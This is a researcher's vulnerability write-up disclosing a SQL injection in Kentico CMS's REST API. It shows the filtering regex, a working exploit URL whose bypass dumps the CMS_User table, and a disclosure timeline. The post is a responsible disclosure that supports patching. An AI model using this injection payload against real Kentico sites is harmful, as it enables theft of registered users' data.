« Back to home

Kentico CMS (< 9.0.42) SQLi

Kentico CMS is a web content management system for building websites, e-commerce stores and numerous other web applications in ASP.NET.

During a review of the CMS in a lab environment, I came across a SQL injection vulnerability which was interesting due to the complicated regex check which is used to try and prevent this kind of exploit.

Kentico CMS supports the ability for users to query a website via a REST based API. Whilst varying levels of authorisation are used to restrict access, a number of API calls are available to users registered against a site with no special credentials, for example a user looking to buy products from an e-commerce site is often permitted to register for an account.

Once a user is registered, the following URL is accessible to retrieve a XML response containing information from the CMS:

http://example/com/rest/content/all

If we review the documentation for the REST API (https://docs.kentico.com/display/K8/Getting+data+using+REST), we see there are a number of optional parmeters that can be passed to filter a query response, for example:

http://example.com/rest/content/all?format=json&where=NodeID=1

Focusing on the “where” URL parameter, we find that by disassembling the .NET dll’s, the following regex is used to validate a parameter value:

^[ ()]*(?:(?:(?:\[|@)?[A-Za-z0-9_.]+\]?(?:\.(?:\[|@)?[A-Za-z0-9_.]+\]?)?|[0-9.]*|(N'|')[^']*'|([0-9.]*|(N'|')[^']*')(\s*,\s*([0-9.]*|(N'|')[^']*'))+)(?:[ ()]*((?:(?:[+*/%=\-]|(?:NOT )?IN|(?:NOT )?BETWEEN|<>|!=|>=?|<=?|(?:OR|AND|(?:NOT )?LIKE))[ ()]*(?:(?:\[|@)?[A-Za-z0-9_.]+\]?(?:\.(?:\[|@)?[A-Za-z0-9_.]+\]?)?|[0-9.]*|(N'|')[^']*'|([0-9.]*|(N'|')[^']*')(\s*,\s*([0-9.]*|(N'|')[^']*'))+))|(?:IS (?:NOT )?NULL)))*)?[ ()]*$

If the parmaeter value passes the regex check, it is then included within a SQL query made to the back-end Microsoft SQL Server database.

After a bit of trial and error, we can see that it is possible to craft a query which bypass this regex, allowing arbitrary queries to be executed against the back-end database.

For example, the below exploit will retrieve a copy of all registered users within the Kentico CMS database:

http://example.com/rest/content/all?format=json&where=NodeID=-1/*'*/))))+AS+SubData;SELECT+*+FROM+CMS_User;+SELECT+*+FROM+(SELECT+1+AS+[CMS_C]+FROM+CMS_User--/*'*/

A fix is available for Kentico CMS users, it is recommended that this fix is applied as soon as possible.

I’d like to thank Kentico for their quick response, and communication throughout the remediation process.

Disclosure Timeline:

  • 6th September - Initial contact with Kentico
  • 8th September - Received confirmation from Kentico confirming vulnerability had been replicated
  • 15th September - Contacted Kentico for update
  • 11th October - Fix released in versions 7.0.105, 8.0.23, 8.1.19, 8.2.50, 9.0.42